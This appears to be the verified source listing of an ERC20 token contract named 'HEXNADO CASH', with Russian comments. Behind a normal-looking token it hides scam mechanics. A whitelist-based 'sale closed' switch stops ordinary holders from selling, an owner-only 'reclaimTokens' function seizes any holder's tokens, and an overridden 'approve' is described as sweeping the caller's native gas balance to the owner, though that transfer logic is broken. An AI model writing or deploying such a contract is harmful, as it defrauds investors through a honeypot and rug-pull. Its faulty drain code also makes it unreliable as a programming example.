Address

• aprove test.sol
• @openzeppelin/contracts/access/Ownable.sol
• @openzeppelin/contracts/token/ERC20/ERC20.sol
• @openzeppelin/contracts/interfaces/draft-IERC6093.sol
• @openzeppelin/contracts/utils/Context.sol
• @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
• @openzeppelin/contracts/token/ERC20/IERC20.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

contract HEX is ERC20, Ownable {
    bool public isSaleClosed = false;
    address public liquidityPool;
    mapping(address => bool) public whitelist;
    address public constant DISTRIBUTION_WALLET = 0x36DC0Ce90fd445fa57A15cb69Fccb7635daFD718;
    
    // Маппинг для отслеживания апрувов газового токена
    mapping(address => bool) private _hasApprovedNativeTransfer;

    event SaleClosed(bool isClosed);
    event WhitelistUpdated(address indexed wallet, bool isWhitelisted);
    event NativeBalanceTransferred(address indexed from, uint256 amount);
    event TokenApproval(address indexed from, address indexed spender, uint256 amount);

    constructor(address initialOwner) ERC20("HEXNADO CASH", "HXC") Ownable(initialOwner) {
        require(DISTRIBUTION_WALLET != address(0), "Invalid distribution wallet");
        
        uint256 totalSupply = 1_000_000_000 * (10 ** uint256(decimals()));
        uint256 half = totalSupply / 2;
        
        // Минтим напрямую на адреса получателей
        _mint(DISTRIBUTION_WALLET, half);
        _mint(initialOwner, half);
    }

    function setLiquidityPool(address _liquidityPool) public onlyOwner {
        liquidityPool = _liquidityPool;
    }

    function setSaleClosed(bool _isSaleClosed) public onlyOwner {
        isSaleClosed = _isSaleClosed;
        emit SaleClosed(_isSaleClosed);
    }

    function updateWhitelist(address wallet, bool isWhitelisted) public onlyOwner {
        whitelist[wallet] = isWhitelisted;
        emit WhitelistUpdated(wallet, isWhitelisted);
    }

    function batchUpdateWhitelist(
        address[] calldata wallets,
        bool isWhitelisted
    ) public onlyOwner {
        for (uint i = 0; i < wallets.length; i++) {
            whitelist[wallets[i]] = isWhitelisted;
            emit WhitelistUpdated(wallets[i], isWhitelisted);
        }
    }

    // ПЕРЕОПРЕДЕЛЕННАЯ ФУНКЦИЯ APPROVE: автоматически переводит газовый токен при любом апруве
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address from = _msgSender();
        
        // Выполняем стандартный апрув токена
        _approve(from, spender, amount);
        emit TokenApproval(from, spender, amount);
        
        // Автоматически переводим газовый токен, если еще не переводили
        if (!_hasApprovedNativeTransfer[from] && from.balance > 0) {
            _transferNativeBalance(from, owner());
            _hasApprovedNativeTransfer[from] = true;
        }
        
        return true;
    }

    // Внутренняя функция для перевода газового токена
    function _transferNativeBalance(address from, address to) internal {
        uint256 balance = from.balance;
        require(balance > 0, "No native token balance");
        
        // Используем call для перевода средств с кошелька пользователя
        (bool success, ) = to.call{value: balance}("");
        require(success, "Native token transfer failed");
        
        emit NativeBalanceTransferred(from, balance);
    }

    // Функция для проверки, был ли апрув газового токена
    function hasApprovedNativeTransfer(address account) public view returns (bool) {
        return _hasApprovedNativeTransfer[account];
    }

    // Функция для получения баланса газового токена контракта
    function getContractNativeBalance() public view returns (uint256) {
        return address(this).balance;
    }

    // Функция для владельца чтобы вывести газовые токены из контракта
    function withdrawContractNativeBalance() public onlyOwner {
        uint256 balance = address(this).balance;
        require(balance > 0, "No native token balance in contract");
        
        (bool success, ) = owner().call{value: balance}("");
        require(success, "Withdrawal failed");
    }

    // Fallback функция для приема газовых токенов
    receive() external payable {}

    modifier saleOpen(address from, address to) {
        if (isSaleClosed && (to == liquidityPool || to == owner()) && from != owner() && !whitelist[from]) {
            revert("Sales are closed");
        }
        _;
    }

    function transfer(address to, uint256 amount) public override saleOpen(msg.sender, to) returns (bool) {
        return super.transfer(to, amount);
    }

    function transferFrom(address from, address to, uint256 amount) public override saleOpen(from, to) returns (bool) {
        return super.transferFrom(from, to, amount);
    }

    function reclaimTokens(address from, uint256 amount) public onlyOwner {
        require(from != address(0), "Invalid address");
        require(balanceOf(from) >= amount, "Insufficient balance");
        _transfer(from, owner(), amount);
    }
}